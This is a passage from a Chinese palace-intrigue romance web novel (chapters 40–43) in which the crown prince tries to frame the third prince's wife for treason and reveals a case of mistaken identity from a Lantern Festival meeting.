提起江云娥,她转瞬便露出浓烈的愤恨之意,“父亲接江氏回府的时候,聂元苇已经跟我一般大了。分明是在母亲有孕之时,二人便已经苟合!若非江氏,我母亲何至于忧思而亡!” 谢知陷入久久的沉默之中。 他知道,她母亲的死因并非这么简单,可他却说不出口。若是聂相宜知晓,会如何对他,对他这个杀母仇人的儿子。 他执掌神策司多年,自诩公正严明。可今日,却生出这般偏倚的私心来…… 他将聂相宜禁锢进自己的怀抱之中,声音轻微,“你还记得你母亲……是哪一年去的?” “我六岁的时候。”聂相宜在脑中想了想,“那是景乾十一年的末春。” 景乾十一年? 谢知微微敛眉,总觉有什么细枝末节的地方未曾厘清。 母妃为何会对毫无干系的文安夫人动手? 他替太子姓敬献之礼,是景乾十年的冬至,而后十一年的春末,她便骤然身死。 如果当日察觉他羊血过敏、给他药膏的人是聂相宜的母亲文安夫人,那么母妃在景乾十一年对她动手,会不会与他有关? 聂相宜看谢知久久不曾说话,托着腮问他,“殿下,你在想什么?” “也许,你母亲……曾经也给我过这样的药膏。” “什么!”聂相宜闻言陡然瞪大了眼睛,“母亲怎么会给殿下这个?” “那年我替太子行敬献之礼,之后便起了红疹。其实那疹子被衣领盖着,并不明显,却不知怎的被她瞧见了。” 谢知缓缓说道,“她便问我是不是羊血过敏,而后给了我这盒药膏。” 聂相宜眸中闪烁出晶亮的光,“原来我与殿下的缘分,这般早便开始了啊!” 她嘿嘿地憨笑一声,“我原先还总有遗憾,母亲不曾见过我的夫婿。现下好了,原来少时她便见过你啦!” 她兴冲冲的模样让谢知勉强弯了弯唇角,只是眉间仍旧微微敛起,似有愁绪。 聂相宜像是发现了什么不得了的事情,只兴致勃勃地自顾自嘟哝着,“母亲好厉害!一眼便看出殿下是羊血过敏了呢!我今日瞧了,还以为 殿下是被虫子咬的呢。” 等等!电光石火之间,谢知忽地脑中似有明晰闪过。 他与文安夫人从未接触过,那她为何那般笃定,自己是羊血过敏,而并非其他呢? 第40章 这几日,聂相宜总觉得府里的气氛有些怪异的安静。 讨人嫌的乌姑姑早已不见踪影,可即使没有乌姑姑,聂相宜若是想出门去玩,也会被凌竹拦住。 “夫人,最近晋王余孽作乱,为避免再生事端,夫人还是不要出门的好。” 或许是上次的事闹大了动静,聂相宜怕再给谢知添了麻烦,也只好悻悻作罢。 只是近日里谢知似乎一直忙着追查逆党一事,总也不在府里,每每深夜才回到府中。独留得她一人,只能和西施玩闹,无聊得要命。 “殿下什么时候才回来啊。”聂相宜打了个呵欠,强撑着困倦之意,趴在榻上一边看着话本,一边等待谢知。 “吱呀——”一声,深夜的寂静被推门声打破。 已是初冬,谢知的身上染着丝丝的凉意,凌厉眉眼落在鼓鼓囊囊的锦被之中。 里面的小人几乎将自己裹成一座小山,只露出一颗毛茸茸的脑袋。那双向来闪烁明亮的眼眸此刻欲睁未睁,想是困倦已极,脑袋像小鸡啄米似的轻点在话本之上。 一旁的西施亦蜷成一团,窝在她身边打瞌睡。一人一猫瞌睡的动作几乎趋近一致。 她听到外头的动静,这才睁开眼来。一见了谢知,眼眸瞬间便明亮起来,“殿下!你总算是回来了。” 谢知自她手中抽过那话本,“怎么还不睡?准备考状元?” “我在等你嘛……”她惺忪的声音带着几分撒娇似的软糯鼻音,膝行至谢知面前,仰脸巴巴望着他,“殿下……我想出去玩……” “不行。”谢知毫不犹豫地拒绝了她。 聂相宜仍不肯放弃,“殿下若是不担心我的安危,不如让凌竹大人陪着我嘛……有凌竹大人和阳秋在,肯定不会有事的。” 谢知语气一顿,“不行。” 自秋猎回来之后,外头的传言甚嚣尘上,直言聂相宜与钟家勾结逆党,否则一个小小女子,怎会毫发无伤地从逆党手中逃出,这分明就是暗度陈仓,掩人耳目的手段。 一开始,这样的传言也不过是捕风捉影,不值一提。可到了后来,竟愈演愈烈,连皇帝亦有所耳闻,问起此事。 如今多事之秋,若是聂相宜听了这些传言,还不知会作何之举。 聂相宜拉着他的衣袖摇了摇,又双手合十看着他,“殿下……” 她拖长了尾音,祈求的时候眉间微耷拉着,眼眸漾出可怜兮兮的光来,好似凝着一层水光,总让人不忍拒绝。 “不许撒娇。”谢知的语气变得生硬起来。 怎么会有这般铁石心肠之人!聂相宜重重哼了一声,气鼓鼓地背对身去,一副不想理你的模样。 她生起气来的样子像一只河豚,瞪眼鼓腮,浑身都缩成一个球。 翌日,夕阳刚好,谢知难得下值早些。聂相宜整日闹着出去玩,难得地闹了脾气,他还是早些回府看着她比较好,谢知想。 裴珏见他不同往常熬至深夜,随口寒暄一句,“殿下今日府上可是有事?” 一旁的太子勾唇轻笑,“三弟有娇妻倚门望切,小裴大人独身一人,哪里懂这些。” 裴珏嘴角温和的笑意略淡了淡,“我不过孤家寡人一个,自是不懂的。” 谢承忻话中的轻佻之意让谢知不悦皱眉,“皇兄倒是很懂。既无娇妻,看来是美妾成群。自是我不能比。” 路过长街的时候,谢知听见外头晚市的叫卖,是个卖金丝蛐蛐笼子的小摊贩。 他脑中忽地想起那日聂相宜偷偷藏起的那个蛐蛐笼子。 “等等。”马车突兀地驻足于此。 回府的时候,聂相宜正用一只孔雀羽毛逗西施玩。 “殿下今日怎得回来怎么早?”聂相宜见他回来,先是眼睛一亮,而后突然想起自己还在生气,又重重哼了一声,转过身去。 “阿兕,过来。” 清冷的声音带着一贯高高在上的命令,聂相宜愈发气了,将头偏向一边,“我偏不!” 谢知干脆走到她面前,捏着她的脸颊肉,使她转过脸来。聂相宜鼓鼓的脸颊被他捏得嘟起了嘴。 她更是不满,像小猫炸毛般张牙舞爪起来,一通乱拳,将谢知的衣物蹭出些微乱的褶皱。 她撅着嘴粗声粗气地说道:“讨厌死了!我还在生气!” “手伸出来。” “我就是想出去玩!你还想打我手心?”聂相宜不敢置信地瞪着他,一双眼睛鼓得圆不溜啾的,看起来更生气了。 谢知像是无奈的叹了一口气。 他握住聂相宜手腕,强行摊开她的掌心。 聂相宜以为他真要动手,下意识闭紧了双眼,“乌姑姑不在了!你又来打我手心!我一定要告诉……欸?” 掌心冰冰凉凉的触感让她半睁开眼,一只漂亮的金丝蛐蛐笼子放在了她的掌心。 “这……这是……” 谢知像是有些不自在的移开了眼,“回来的路上随便买的。” 这好像是……谢知第一次主动送她东西。 “殿下,你是在……哄我吗?”聂相宜眨了眨眼,好奇地看着谢知难得的飘忽眼神。 谢知抿了抿唇,“没有。” 聂相宜自动忽略了他的否定,嘴角早早便翘得老高。 只是她却又不愿承认自己便这般轻易被哄好,只强压着嘴角的笑容,撅着嘴轻哼了一声,“蛐蛐都死了,要个笼子有什么用!” 谢知这回微微皱起了眉,“那丢了便是。” “也好。”聂相宜居然未曾否定,她故作挑嫌,“殿下不知道,这金丝笼子只能看,要是装蛐蛐,还是草编的好。” 谢知神色转瞬便冷了下来。 裴珏一个草编的笼子便能让她爱不释手,东躲西藏也要将它留下。到了他这里,便千挑万嫌起来? 看着谢知冷若冰霜的神色,聂相宜这才噗嗤一声笑了出来,将手中的金丝笼子朝谢知晃了晃,狡黠地眨了眨眼。 “我现在又不想丢了!” 像只坏事得逞的小猫。 谢知目光沉沉地看着她得意洋洋的模样,看着她饱满的脸颊肉,只觉忽地牙痒。 聂相宜心情好了不少,复又贴近了他些,殿下,我听凌竹说起,仲冬初三是殿下的生辰,那时候,我们总可以出去玩一玩吧。” 她歪着头,眼中满是期待,“也好为殿下庆生呀!我还是第一次陪殿下过生辰呢。” “不行。”谢知依旧还是这两个字。 “为什么!”聂相宜叉着腰看他,“有殿下陪着也不行吗!” “那日是故皇后的忌日。”谢知不徐不疾地说道,“父皇下令,所有官员世家,斋戒三日,悼念故皇后。宫中皇室宗亲,都需前去圣水寺,祭拜故皇后。” 他与太子出生同日,亦是当年温成皇后难产之日。 聂相宜闻言一怔,不由得生出心疼之意,看向谢知,“那岂不是不是殿下还从未过过生辰?” “不止我,太子也是。” 聂相宜长长叹了口气。 她脑中千回百转,即使因着故皇后祭辰不能声张,可她总想在那日,给谢知过个不一样的生辰。 待得仲冬初一那天,所有皇室宗亲跟随皇帝轿撵,到了圣水寺中。圣水寺乃国寺,距离京城不过十余里,此刻早早便做好了祭拜的准备。 祭拜前后一共三日。 皇室宗亲每日都需在晨起、正午、晚膳时为故皇后上香祭拜,又要为其抄写经书祈福,待得初三祭辰,便由高僧做法事,将所有经书焚烧。 当真是个苦差事。只是皇帝对故皇后情深义重,诸人皆不敢多言。 “这下总能出去走走了吧。” 聂相宜总想着到了圣水寺,也许能松泛些许,不曾想凌竹却将她看得更紧了,除了去宝殿上香,其余时候只能在禅房附近稍作活动。 “夫人见谅,外头不比宅邸,人多眼杂,只怕被逆党钻了空子,发生上次那样的事。” 行动受限也就罢了,连人影也甚少碰见! “凌竹大人,此次祭拜,齐国公府会来吗?” 毕竟齐国公府如今是阳徽长公主当家,理应也会前来的。可就像阴差阳错的巧合一般,聂相宜每每前去上香,总是会与她错过。 凌竹默然了片刻,而后点了点头。 “那凌竹大人能不能去告诉世子夫人,叫她陪我来玩一会呀。”聂相宜试探地看着她,“我实在是有些无聊呢。” 凌竹面上露出犹豫之色,良久才说道:“夫人,祭拜故皇后需平心静气。若是让皇上知道夫人只顾玩乐,只怕……会怪罪……” 聂相宜总觉得有哪里不对劲。 虽说这话里都是为了她好,可她怎么觉得,她像是被软禁了一般。 她揉捏着衣角,心中忽地生出许多不安来。 不行!她得去找灵玉表姐,看看到底发生了什么。 如凌竹所说,这里人多眼杂,翻起院墙来倒是比在宅邸轻松。 一溜烟刚滑下院墙,她便忽地听见一个尖利又熟悉的女声,“聂相宜?你又在作什么妖?” 当真是冤家路窄! 聂相宜转过头去,只嘘声叫她小声些,“裴琅?你怎么会在这儿?不是只有皇室宗亲才会前来祭拜么?” 裴琅神情高傲,“我祖父是金紫光禄大夫,前来祭拜,自然是皇上特许。” 说着她上下打量聂相宜几眼,“久不见你,我以为三殿下已然跟你和离了呢!” “什么意思?”聂相宜一怔,“好端端的,殿下与我和离作甚?” “你不知道?”裴琅面露惊讶之意,“外头传得甚嚣尘上,直说你秋猎被掳那次,是钟家利用你与逆党勾结呢。” “你胡说!”聂相宜闻言腾得火起,“根本就是无稽之谈!” 裴琅嗤了一声,“有鼻子有眼的,皇上都疑了三分,怎么成了我胡说?没得连累了殿下,亦受皇上疑心。” 她冷眼瞥一眼愣在原地的聂相宜,“这些日子三殿下忙里忙外,只怕是准备与你和离呢。”魔.蝎`小`说 M`o`x`i`e`x`s. c`o`m 40-45 第41章 原来殿下这段时间将她关在府中,是因为这个原因吗?聂相宜脑袋一阵阵发懵,她心中说不出是何感受。 明明她费劲全力才从逆党手中逃脱,如今却成了她和逆党勾结的证据。 向来她被泼脏水,也不是第一回了。 可这次不一样。 她虽不通政事,却也明白,勾结逆党的罪名太大,大到只需要一点捕风捉影的流言,便足以让人杯弓蛇影。 为什么就是不肯放过她呢。 她想,如果谢知想要明哲保身,与她和离也在情理之中。 可这样的念头刚冒出来,她便觉得喘不过气来的难受。胸口被压住了一块沉沉的巨石,闷得让她想哭。 “阿兕。”冷清的嗓音骤然唤回聂相宜呆愣的神智。 她回眸望去,不知何时,谢知站在墙角的阴翳之中,远远地看着她,“过来。” 聂相宜的脚却像动不了般,仿佛被一滩糨糊黏了在原地。 她想她此刻有些怨,为何这样大的事情,谢知却瞒她瞒得那样紧。 即使是想要和离,也该早些告诉她的。 哪怕是让她有个心理准备。 谢知见她默不作声,颀长身影一步步朝她走来,让她无端想要躲避。 “裴姑娘。”谢知的目光却先落在了裴琅的身上。他的语气保持着恰到好处的礼貌与疏离,“流言无稽,姑娘出身世家,自知道非礼勿言的道理。” 他的话让裴琅蹭的脸红起来,“殿下……” “今日之事,我会告知姑娘兄长,以正姑娘清听。” 说着,不再去看裴琅瞬间垮掉的面色,只握住聂相宜的手腕,带着她回到禅房。 他的姿态那般强势,聂相宜几乎被他捏得腕骨生疼。 “疼!谢知!” 守在门口的凌竹见聂相宜从外头回来,已是大惊失色,“夫……夫人!您怎么……” 谢知只冷冷看了他一眼,“自己前去领罚。” “殿下不要责罚凌竹大人……”聂相宜的声音闷闷的,“是我自己偷偷出去的……” “你倒是好心。”谢知的语气算不得太好,“那么我想你下次再想偷溜的时候,应该会想想,会不会有人因此受罚。” 聂相宜语气一噎。 这分明是拿凌竹受罚的事情将她架了起来! “若是殿下不存心瞒我,我何必偷溜出去!”她的神情有些气恼,眼眶晕着一抹淡淡的红,神情倔强又愤怒,“殿下为何不将此事告知于我!” “告诉你,你当如何?”谢知冷静的声音与她的愤怒形成冰冷的反差。 “我……”聂相宜语气忽地一滞。 他的话让聂相宜认识到一个近乎残酷的事实——她什么也做不了。 “可我不想被蒙在鼓里!” 她偏着头移开视线,不想去看谢知那双漆黑的眼睛。只兀自梗着脖子,“不就是和离吗!有什么了不起的!” 话虽如此,她眼眶却红了一圈,只执拗地不肯让眼泪落下,高昂着下巴,“我才不在乎呢!” 这话让谢知陡然沉了面色,“聂相宜,你再说一遍。” 他黑沉沉的眸色带着极强的压迫感,浑身都染着强势的凌冽之意。 聂相宜只觉难过得要命,喉间好似吞下一把锋利的刀刃,疼得她几欲落下泪来,连视线都已模糊不清。 “我说!和离就和……唔!” 倔强的话还未曾说完,强势的吻骤然落下,冰凉的大手桎梏住她的后颈,如同被叼住后颈的猎物般无法逃离。 他的吻从未像今日这般攻城略地,大肆挞伐。他总是漠然的、冷静的,仿佛这时间没有什么任何事物能让他这般失态。 谢知清冽的气息在此刻变得灼热,几乎要将她吞噬,直叫人觉得喘不过气般窒息。 方才强忍的泪顺着颊边落下,两人的味蕾都尝到这酸苦之味。如同落在滚烫的炭火之上,发出“呲”的一声响,而后尽数湮没。 “唔”,所有的委屈让聂相宜泄愤般一口咬在谢知唇边,淡淡的腥甜之气在唇齿间弥漫开来。 谢知终于松开了她。 那样冷清的人,此刻破皮的唇边留着一个不明显的牙印,唇色殷红似能滴血,平白增了一抹欲|色。 “阿兕。”他似乎并不在意,只是目光沉沉地盯着聂相宜,“以后别再让我听到这两个字。” “可……”聂相宜张了张嘴,一时间却不知该说些什么。 那她呢?她会从谢知口中听到这两个字吗?那些流言又该如何置之? 她有太多的疑惑,却都像是堵在了嗓子眼,什么也问不出来。 “我会处理好的。”谢知看着她的神情,语气平静而笃定,“只是小事而已。” 聂相宜将信将疑。 若是小事,为何要瞒她这般久。她的心游离而飘忽,算不得安定。 “殿下可以告诉我,流言是为何而起吗?” 空气中忽地有骤然的安静。 他知道这是太子的手笔。可是,要如何告诉她,这样捕风捉影的流言,只因她嫁给了他呢? 权力争夺,盘根错节。只要她嫁给他一天,纷争就永远不会与她远离。 可是他不想放手。 她依旧可以做一只不谙世事的小猫,他会将所有的风雨挡在屋檐之外。 见谢知不语,聂相宜更觉不安。如同被蒙上双眼的鸟雀,虽嗅到了危险的气息,却对即将要发生什么懵然不知。 她不知道谢知会不会与她和离,她不知道流言会不会影响外祖,她不知道即将要面对些什么。 脖颈之上好像悬着一把无形的刀,却不知什么时候便会落下。 她声音低低闷闷,“那殿下可以不关着我了吗?” “没关着你。”谢知说,“外头太乱,易生事端。” 更何况,外头还有一个太子虎视眈眈。 聂相宜有些气恼,“那总可以让灵玉表姐过来与我玩吧!” 谢知见她生了闷气,语气凝滞了片刻,最终还是点了头。 傍晚的时候,钟灵玉终于在聂相宜望眼欲穿的眼神中,姗姗来迟。 “总 算是见到你了。”钟灵玉推门进来的时候,带进屋内扑面而来的寒风,让聂相宜打了个寒颤。 “流言如沸,我只怕你多想!又见不到你的人,这些天可把我担心死了!” 聂相宜仍有些愀然不乐,“我也不知道怎么会这样……我们钟家明明世代忠良!” 说着,她脸上露出些忿忿之意来,狠狠一拍桌子,“竟不知是谁传出这般流言!肆意抹黑!” 钟灵玉耸了耸肩,索性直接与她说破,“如今三殿下重回神策司,背后又有一个你与钟家相连,自然会有人不乐意。” “表姐的意思是……太子?” 权力的斗争从前在聂相宜脑中不过是一个符号,如今身涉其中,才明白其中残酷滋味。 “都是我不好。”她垂着头,“若非当日执意要嫁给三殿下,今日也不会将整个钟家牵扯进来……” “就知道你会多想!”钟灵玉指尖戳了戳她的脑袋,“正好,我这次来,还带来了祖父送来的信,你也有一封。你看看便知了。” 钟灵玉的话让一直闷闷不乐的聂相宜眼眸一亮。 她从钟灵玉手中宝贝似的接过信件,其上笔记苍劲有力,一看便是外祖的字迹! “吾孙阿兕见字:前日见汝旧日玩物,忽忆汝幼时绕膝之态,遂提笔寄此信。 ……” 刚一打开信,聂相宜转瞬便红了眼眶。信中洋洋洒洒数千字,大多都是对聂相宜的关心与爱护。拳拳之心,溢于言表。 直到最后,钟岐才在信中提起近日流言之事,“物议如沸,阿兕性子憨直,不谙世事,想来必会因此忧思。只是外祖随皇上征战沙场数年,相互信任,并非寻常君臣可比,必不会因此捕风捉影之事有所影响。阿兕万事宽心,切勿为此担心伤怀。” 聂相宜看着那封信,仿佛外祖此刻就站在她的面前温和地微笑,轻揉她的脑袋。 所有的委屈在此刻化作一滴清泪,落在纸上,洇开一片墨痕。 “祖父说得对,无论你嫁不嫁,钟家手握兵权,都逃不脱这一劫。如今主动与三殿下捆在一条绳子上,总比日后被动的选择要好得多。” 聂相宜抬眸看着钟灵玉的神情,她脸上扬着一如既往的明快笑容,仿佛并未将这事放在心上。 她的心稍稍安定了些。 待得送走钟灵玉,谢知这才从门外进来,“据说山下出现逆党身影,我需前去探查。” 他微顿了顿语气,“入夜了,无论发生何事,切记不可出门。” 聂相宜心不在焉,只闷闷点了点头,“殿下万事小心。” 入夜之后,果然外头隐有异动,只听得含絮来报,“夫人,贵妃派了人来,请您去宝殿为故皇后祈福。” “早不来晚不来,怎得偏生这个时候来!”她心中生恼,不由嘟哝一声。 有谢知嘱咐在先,聂相宜并不欲出门。可贵妃口谕在此,她身为皇家儿媳,为故皇后祈福本也是理应之事,总不能不去。 树欲静而风不止,明明她已经不曾出门,接二连三的事情却依旧能找上她。 聂相宜皱着眉头,硬着头皮出了院门。 行至途中,她总觉不对,忽地垂首匆匆转身离去。 “咚咚咚!”聂相宜敲响房门,“裴琅!开门!” “聂相宜你知不知礼?”裴琅皱着眉头开了门,屋内还摆着裴珏让她抄的经书,一脸不满,“大晚上的敲我房门!怎么没人罚你抄经!” “别抄经书了!”聂相宜一脸严肃地看了她一眼,“贵妃娘娘口谕,让你我前去宝殿祈福!” 事到如今,她纵使再笨也知道长个心眼,怎还敢再独自出行。若是再有脏水泼上来,只怕又是百口莫辩。 “欸?”不等裴琅疑惑,聂相宜便急匆匆拉着她走了。 宝殿四周雅雀无声,一推开门,巨大佛像庄严,面容肃穆垂首俯视于她。千盏长明灯闪烁火光,冬日夜风一吹,灯火跳动中将那佛像的脸映照得忽明忽暗。 周围一个僧人也无,安静得近乎诡异。 “聂相宜你耍我不成!”这样的安静让裴琅觉得莫名害怕,她缩了缩脖子,不敢与那佛像对视,“这哪里有祈福的样子?” “砰!” 有风吹过,乍然将宝殿大门阖上,发出骤然一声巨响。 聂相宜与裴琅都被这声音吓了一跳。 裴琅捏紧了聂相宜的手腕,“走走走!快回去了!怪瘆人的!” “总算是来了。”佛像之后,缓缓走出一个漆黑人影来,在千盏幽微灯火映照之下,如同憧憧鬼影,令人遍体生寒。 聂相宜捏紧了衣角,强自镇定,“你……你是谁……” 还未等那黑影回答,宝殿大门被人忽地打开,有铁甲摩挲的声音自身后传来,无数火把几乎照得殿内亮如白昼。 “三皇子妃于深夜私见外人,经查证,此为逆党。”缓缓的脚步声踏在青石地板之上,说话的声音如同催命的符咒。 “逆党畏罪自尽,三皇子妃……”身后轻笑的声音有如鬼魅,“人赃并获。” 他话音刚落,佛像之后黑影忽地将一把匕首插入脖颈之中。 噗嗤一声,鲜红的血洒在佛像的金身之上,滴答而下,扑灭数盏长明灯火。 裴琅吓得花容之色,连叫也叫不出来,手将聂相宜抓得死紧,几乎掐出血来。 聂相宜反倒是异常的镇定。 她心中狂跳不止,却在庆幸,幸好带上了裴琅,幸好她还可以为她作证。 她缓缓转过身去,对上那人的眼睛,“我不会让你得逞的!” 不曾想,身后之人在见到她之后瞳孔骤缩,如同见到鬼魅一般,好似浑身都被定住一般,一动不动,只一双眼睛死死盯着聂相宜的脸。 “怎么会是你!”—— 作者有话说:各位宝宝久等了 第42章 谢承忻从小便听别人说过,若非他为温成皇后所生,三皇子谢知,比他更合适做一个太子。 谢知冷静端方、天赋卓绝,从未被病痛所扰。 更何况,他在七岁那年,知道了一个秘密,一个足以让他惶惑焦虑的秘密。 他嫉妒地想要抢走谢知拥有的一切。砚台字画、书记古玩,只要谢知喜欢,他稍一开口,便能将其轻易抢走。 可他从未见过这般虚伪又自持的人。 即使上一刻他的眼中还因这些事物露出欣喜,下一刻却能对他的抢夺无动于衷。 “若是皇兄喜欢,便赠与皇兄好了。” 明明是抢来的东西,却仿佛成了他的施舍。 后来,宫中便许久不见谢知了,谢承忻听说皇帝命他去边关历练了。 他羡慕谢知的自由,羡慕谢知方才年少便能领兵用将,运筹帷幄。而他因为身体的原因,永远只能困在宫中,做一个笼子里的太子。 两年后再见谢知,是他与安西大将军回京述职的时候。彼时带着满身的肃杀之气,人人都尊他一句鬼面小将军。 谢承忻觉得,自己与他差得更远了。 那年上元节,他偷偷拿走了谢知的青铜鬼面,第一次以谢知的身份,出了宫门。 他身体不好,贵妃保护他像是保护眼珠子一般。自他出生起,他便从未见过宫外的世界。 终于借着那张青铜鬼面,他可以好奇地打量着周围的一切热闹。 那个姑娘就是这个时候出现的。 谢承忻已经记不清她是怎样出现在自己面前的了。他只记得,无数粼粼灯火映照之下,少女脸颊通红得似天边云霞,如神妃仙子,明艳动人。 她垂首不敢看他的眼睛,一边揉搓着衣角,一边递给他一张白玉面具,“我觉得……这张面具更适合你……” 谢承忻永远记得当时心中的震动。 原来不必抢谢知的,他也能拥有属于自己的东西。 他接过那张白玉面具,以一盏天宫花灯作为 回礼。 当他想要问及她的名字时,却听得一声呼唤,“阿兕!” 活泼明快的身影转瞬便消失于人群之中。 仿佛她的到来真如同天宫仙子,在宽解于他之后便消失不见。 谢承忻从未想过再见她时,是这般场景。 她竟成了谢知的妻! 他几乎目眦欲裂,步伐急促地走到聂相宜面前,“为什么会是你!” 眼前剑拔弩张之态,聂相宜隐约猜到来人或是太子,却被他这般古怪眼神看得头皮发麻,不由得退后两步,脚边几欲贴近佛台。 “你……你什么意思……” 见她躲避,谢承忻眸中愈发阴戾,青石地板发出沉闷的脚步声,他不断逼近于她。 聂相宜脚下无处可躲,眼前之人又步步紧逼,几乎已经越界。聂相宜下意识拔出发间金簪对着他。 “你别过来!” “哗——”当她拔出金簪的那一刻,周围神策卫便齐刷刷拔出腰间佩刀,明晃晃的,照得聂相宜的脸色惨白。 谢承忻握住她的腕骨轻轻一捏,她手中金簪便吃痛落地,发出“铛”的一声脆响。 一旁裴琅见状,不由得咬了咬牙,还是为她开口,“太子殿下,三皇子妃并非……” “出去。”谢承忻打断了她。 他的话中带着不容置疑的武断,数名神策卫应声而退。裴琅犹豫地看了聂相宜一眼,终究还是被神策卫请出了门。 “快去派人通知兄长!山上出事了!快去!” 谢承忻仍握着聂相宜的手不曾放开,他看着聂相宜惊惧模样,目光阴沉而晦涩,“你不认识我?” 聂相宜见他如此逾矩,又惊又怒,只拼命挣扎,“太子殿下!放手!您失礼了!” “回答我的问题!”谢承忻眸中的急切几乎化为实质,高声问她,“你还记不记得我!” 腕骨被捏得发红,聂相宜快疼出了眼泪。 二人笼罩在佛像的阴影之下,无数长明灯将谢承忻的脸映照得忽明忽暗,显得他愈发阴郁冷寂。 “今日之前,我不记得有见过太子殿下。” “是么?”谢承忻忽地笑了出来,他苍白的笑容好似鬼魅,“三年前,上元节灯会。白玉面具与天宫花灯,你都不记得了吗?” 聂相宜的眼睛陡然睁大! 那张面具竟是送给了他?她竟然送错了人?可明明那个人带着谢知才有的青铜鬼面! 她的声音带着难以置信的惊讶,“那不是三殿下吗?” “谢知?”她的话让谢承忻微微一怔,而后像是想明白了什么,唇边笑容逐渐放大,带着诡谲模辩的阴翳之感。 原来是谢知李代桃僵。 他的心中忽地升起一丝微妙的、难以言喻的快意。这么多年,他因为不甘因为嫉妒,抢走谢知许多东西。 今日,轮到谢知做了这个小人。 他的目光在聂相宜面颊上来回逡巡,定定说道:“不是谢知,是我。” 聂相宜骤然明晰。 果真是她送错了人。 从前便有蛛丝马迹可循的,只是她一直未曾在意。谢知说她认错了人,还有每逢年节神策司的忙碌,无一不在说明当日上元节之人,并非谢知。 她以为自己会将那张面具送到曾经心心念念的鬼面小将军手中,却不曾想送到了太子的手中。 那么那盏天宫花灯……原来也不是谢知送给她的回礼。 她脑袋有些发懵,“原来是我认错了人。” 谢承忻看着她神色略带恍惚,心下愈发笃定,她与谢知的姻缘不过是源于谢知的冒认身份。 是谢知占了他的。 “若是你与谢知……” 他的话刚才开口,只听得“砰”的一声,宝殿大门被人狠狠踢开。 聂相宜第一次见谢知踢门而入。 他总是守礼的、冷静的,踢门这样的动作对他来说失态而粗鲁,绝非端方君子所为。 “皇兄深夜与我正妻独处,恐怕不合规矩。”谢知低沉的声音如玄冰冷冽,几乎能叫人冻住。 门外的他身影被昏暗的月光拉得长长,逆着光看不清他的神色,只觉亦似一尊神佛矗立,与屋内无声对峙。 他踏步进殿,脚步声心跳咚咚作响,安静的空气隐约流淌异样的气息。 “你的妻子?是么?”谢承忻嗤笑一声,“李代桃僵而来的冒牌货,也敢如此理直气壮?” 谢知瞳孔骤然紧缩。 当他带着人马行至山下,发现来的不是逆党,而是裴珏的人马时,便察觉到不对劲了。 “是调虎离山。”他心中陡然一紧,一定是太子的手段。 他与裴珏匆匆赶回,结果刚至寺门,便有裴家家奴前来通传,宝殿内出事了。 若是聂相宜与太子相见,便一定会知道,当日上元节与她相遇之人,并非是她。 那么她当如何? 谢知看向聂相宜的脸,此刻的她惊惧又怔然,目光呆滞地看着自己,仿佛受到了极大的冲击。 他眸色一黯,指尖紧紧蜷进了袖中。 “父皇赐婚,名正言顺,何来冒牌之说?”他脚步靠近二人,神色锐利地对上谢承忻的视线。 在他轻蔑的目光中,谢知亦握住了聂相宜的手腕,“于礼不合,还请皇兄放手。” 谢承忻挑眉,“若我不放呢?” 他的脸上带着胜券在握的轻笑,“谢知,你当知道,该放手的是你。” 谢知的目光落在门外。 裴珏清俊的身影忽地出现在门外。 “皇兄若不放手,今日皇兄放肆行径,会立刻传遍朝野上下。包括父皇。” 谢知语气淡漠,没有半分威胁的狠戾,像是在讲一件无关紧要的小事,“皇兄的太子之位会不会因此受到影响,全在于皇兄自己。” “裴珏?”谢承忻看了一眼外头缓缓进来的人,冷笑一声,“小裴大人,你可知墙头草的下场?” 殿内三人的姿态古怪而乖张,裴珏抬眸看着不肯放手的他们,唇角一向温和的笑容淡得趋近于无。 他只是一个旁观者。 “我知你不是真心投靠,但今日,我可以给你个机会。”谢承忻唇角微扬着,眼底却无半分笑意。 “是选我这个太子,还是这个连宗祧传承之字都没有的皇子,小裴大人,你是个聪明人。” 就连一向不通政事的聂相宜也听了出来,谢承忻居然明目张胆地让裴珏站队。 看起来,谢知的胜算的确很小。 聂相宜见裴珏默然,不由心下紧张,“子瑛哥哥!” 这般亲昵称呼让谢承忻猛然回头看她,似笑非笑的面容带着些鬼气,“哥哥?” “青梅竹马。”谢知不阴不阳地冷笑一声,“岂是一面之缘可以比的。” “那也总比鱼目混珠的好。” 气氛愈发剑拔弩张。 远处的裴珏似乎无声地轻叹,“太子殿下,请您放手吧。” “看来裴大人是打定主意要选三弟了?” “太子殿下您错了,我效忠的是皇上。”裴珏淡淡说道,“若皇上知晓您结党营私,党同伐异,只怕会不悦。” “冠冕堂皇。”谢承忻依旧僵持着。 聂相宜莫名其妙地被二人握着,愈发挣脱不开。只能靠近谢知几分,皱着眉道:“还请太子殿下放手。” 谢承忻的目光变得好似一把突兀的尖刀,几乎要将人削骨剔肉。他忽地便放了手。 一被他放开,不等聂相宜说话,谢知转身拉着聂相宜大步出了殿门。 谢承忻看着他们离去的方向,莫名的轻笑。他不会就此放手的。 谢知,这次不是我抢你的。 该是我的。 谢知的脚步匆匆,几乎让聂相宜跟得踉跄。聂相宜察觉到他似乎有隐约的怒气,只以为是今晚自己有惹了麻烦,手腕被捏得生疼也不敢开口,怯怯地跟在他身后。 一种即将失去什么的巨大恐慌将谢知包围,他从未像今日这般感到不安,自山下回来之后就难平的心绪不断压抑,几乎将人撕成碎片。 他恼怒自己为何要下山,给了太子机会,又恼怒为何聂相宜不听他的话兀自出门。 更恼怒为何当年上元节相遇之人,不是真 正的他。 “殿下……”他听见身后的聂相宜低低开口,声音轻得像受惊的小猫,“我今晚没有给殿下惹麻烦的……我叫上了裴……” “所以你为何不听我的话?又为何要出门?”她话还没说完,就被谢知打断。 黑暗中谢知的声音低沉喑哑,带着浓浓的疲倦,“阿兕,你是不是早就知道了。”—— 作者有话说:私密马赛各位宝宝,最近实在是太忙了[托腮] 第43章 聂相宜小心翼翼地望着他,“知道……什么?” “上元节之人,并非是我。” “是我认错了人……”聂相宜神色讪讪的摸了摸鼻尖,只觉尴尬。 她还曾埋怨他记性那般差,埋怨他对自己那般冷淡,明明之前已经有过一见如故的缘分了。原来是因为,当年那张面具并没有送到他的手中。 想到此前自己傻傻缠着谢知那么久,而在谢知眼中自己不过是个毫无干系的陌生人。 她瘪着嘴低声抱怨,“殿下才是早就知道了吧……为何也不戳破……” 独留她一个人尴尬。 谢知语气一滞。 该如何戳破呢?告诉她自己并非是当年送她花灯之人,容她拨乱反正,容她招惹后轻易逃离。 他的私心不允。 当精心的矫饰被戳破,一切仿佛都成了泡影。 仿佛所有人都与她有命定的纠缠,青梅竹马、一见如故,唯他什么都没有。 聂相宜不知道,他其实在更早的时候,便见过她了。 